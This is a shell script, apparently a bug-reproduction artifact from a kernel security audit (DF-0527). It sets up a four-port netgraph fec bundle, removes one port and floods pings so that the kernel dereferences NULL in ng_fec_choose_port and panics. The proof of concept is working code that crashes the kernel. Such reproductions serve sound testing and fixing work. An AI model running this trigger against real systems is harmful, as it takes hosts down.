DF-0527 / trigger.sh
#!/bin/sh # DF-0527 trigger: ng_fec_choose_port NULL dereference after port removal. # # ng_fec_choose_port() computes: mask = (fec_ifcnt==2)?0x1:0x3 # so 'port' may be 0..3. fec_idx is assigned sequentially in addport() # and is NEVER renumbered when delport() removes a port. When a 4-port # bundle loses one member (ifcnt 4 -> 3, mask stays 0x3) the TAILQ_FOREACH # at :945 looking for the removed index terminates with p == NULL, and # :956 `if (p->fec_ifstat != 1)` dereferences NULL -> panic. # # This PoC requires a WORKING ng_fec node. On the stock audit kernel, # ng_fec_constructor panics first (DF-0529), so this must be run on a # kernel where DF-0529 is fixed (or naturally absent) to demonstrate. # # EXPECTED (bug present, on DF-0529-fixed kernel): kernel panic # fatal trap 12: page fault while in kernel mode / NULL deref # in ng_fec_choose_port # # EXPECTED (fixed): no panic; short packets get EINVAL / EAGAIN, guest up. # # Run as root. Uses tap0..tap3 as member interfaces. set -e kldload netgraph 2>/dev/null || true kldload ng_fec 2>/dev/null || true # create 4 member interfaces for i in 0 1 2 3; do ifconfig tap$i create 2>/dev/null || true; done ifconfig tap0 up 2>/dev/null || true ifconfig tap1 up 2>/dev/null || true ifconfig tap2 up 2>/dev/null || true ifconfig tap3 up 2>/dev/null || true # create an fec node ngctl mkpeer .: fec lower inet/raw/ip NODE= # ngctl names the node after the interface (fec0..) ngctl list | grep -i fec || true # add the 4 ports ngctl msg fec0: addport '"tap0"' 2>/dev/null || true ngctl msg fec0: addport '"tap1"' 2>/dev/null || true ngctl msg fec0: addport '"tap2"' 2>/dev/null || true ngctl msg fec0: addport '"tap3"' 2>/dev/null || true echo "bundle now has 4 ports; removing tap3 (ifcnt 4->3, mask stays 0x3)" ngctl msg fec0: delport '"tap3"' 2>/dev/null || true # bring the fec interface up and inject traffic to force choose_port ifconfig fec0 up 2>/dev/null || true echo "sending packets to force ng_fec_choose_port over all hash slots..." # generate many distinct dst/src IPs so the XOR hash selects index 3 # (the removed port) for ~25% of flows. for i in $(seq 1 200); do # a short probe; any packet routed to fec0 triggers choose_port ping -c1 -t1 -S 10.0.0.$((i%250+1)) 10.0.0.255 >/dev/null 2>&1 || true done echo "RC=$? (if you see this, the NULL deref did not fire on this run)" |